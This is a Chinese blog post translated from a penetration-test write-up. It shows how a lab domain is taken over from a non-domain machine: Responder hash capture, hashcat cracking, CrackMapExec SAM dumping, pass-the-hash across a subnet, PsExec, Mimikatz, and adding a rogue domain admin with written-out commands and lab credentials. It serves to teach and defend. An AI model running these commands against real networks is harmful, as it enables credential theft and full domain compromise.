如何从活动目录域外的机器拿到域控权限

华盟原创文章投稿奖励计划

这是在我博客中第一篇非web类的文章,我是一个传统的web开发人员,web安全是从事安全方面的出发点。但是从我进入渗透测试行业开始,我就被这个行业深深吸引,从兼职一步步做到了全职的渗透测试工程师,活动目录域是我最喜欢的渗透测试类型。

这篇文章是关于我在今年早些为客户做的内部渗透测试,因为之前已经测试过,了解到这个客户的网络环境相当复杂,所以开始的时候很忐忑会测试不成功。

我在内网中做的第一件事就是运行Responder工具,会从本地网络中的LLMNR或者NETBIOS请求中获取到Windows hash。但是客户还是比较有安全意识的,他们已经禁用了LLMNR以及NetBIOS请求。尽管在之前的测试中已经了解到了这一点,但是我还是抱有一份希望,因为在OSCP课程中学到了总要先从尝试简单的方法开始,如果门开着,你从天窗进去那岂不是多此一举。

于是我执行了Responder,我竟然捕捉到了一台机器的hash!

如何从活动目录域外的机器拿到域控权限

当然,我肯定不会在博客中公开客户的私密信息,因此你看到所有内容都是我在实验室内重新搭建环境复现出来的,并且一些隐私信息已经隐藏。

上图中可以看到172.16.157.133这一主机给我们呈现出了FRONTDESK用户的NETNTLMv2 hash。使用Crack Map Exec检查NetBIOS信息,进而确定这是不是本地用户的hash,用户名的域部分为:

[sourcecode language="plain"][SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK[/sourcecode]

即2-FD-87622应与主机的NetBIOS名称匹配(如果是这种情况)。使用CME查找IP,我们可以看到主机的名称匹配.

如何从活动目录域外的机器拿到域控权限

所以我们下一步要做的就是尝试破解这一hash,然后得到这一用户的明文密码。使用hashcat进行破解,很快出了结果:

如何从活动目录域外的机器拿到域控权限

现在我们已经获得了前台机器的登陆凭证,现在使用这一凭证进行攻击这台机器:

[sourcecode language="plain"]cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth[/sourcecode]

如何从活动目录域外的机器拿到域控权限

上图中可以看到”Pwn3d”已经输出,这就意味着我们已经获取到了本地的管理员账户。这就意味着我们已经有了获取本地用户hash的权限:

[sourcecode language="plain"]cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam[/sourcecode]

如何从活动目录域外的机器拿到域控权限

可以看到已经得到了本地用户的hash:

[sourcecode language="plain"]FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f:::[/sourcecode]

这次我们看到的密码的是NTLM hash值,而不是之前Responder获取的NETNTLMv2 “挑战/响应”hash。Responder通过网络流量捕获hash和windows存储在SAM中的hash是不同的。

下一步就是使用这一管理员的散列对客户的主机进行“哈希传递攻击”,而不是对这一hash进行破解。

[sourcecode language="plain"]cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth[/sourcecode]

我们只能使用存储的NTLM哈希进行传递,而不是使用NETNTLMv2格式的hash。
令我们比较惊讶的是,本地管理员账户在STEWIE机器上登录上去了。查询这一主机的BIOS信息:

[sourcecode language="plain"]
$ cme smb 172.16.157.134
SMB 172.16.157.134 445 STEWIE
[*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE)
(signing:False) (SMBv1:True)
[/sourcecode]

我们可以看到这台机器是MACFARLANE域中的一员,而且这一个域是客户的主域。

所以我们通过一个本地无域机器的管理员密码进入到域内一个机器。现在使用Metasploit中的PsExec登陆这台机器,将NTLM哈希作为密码填写上去:

如何从活动目录域外的机器拿到域控权限

一旦执行,我们就会得到shell:

如何从活动目录域外的机器拿到域控权限

然后使用Mimikatz模块从windows内存中获取密码:

如何从活动目录域外的机器拿到域控权限

上图中我们已经得到了域管理员的密码,最后,我们使用CME在域控制器上执行命令,将自己添加为一个域管理员。

[sourcecode language="plain"]cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add'[/sourcecode]

如何从活动目录域外的机器拿到域控权限

注意/y参数的含义是让windows允许你添加超过14个字符的密码。

远程桌面到域控制器的屏幕截图可以作为利用证据写入到报告中:

如何从活动目录域外的机器拿到域控权限

因此如果第一台拿下的机器加入到域中,那么它将会禁用掉LLMNR通信,并且我们不会获得hash值,然后这次渗透测试就不会成功~这就是文章开始的问题,为什么所有的机器要加入域中的答案。

 

本文翻译自:https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html
如若转载,请注明原文地址: http://www.4hou.com/technology/10634.html
本文原创,作者:AlexFrankly,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/198241.html

发表评论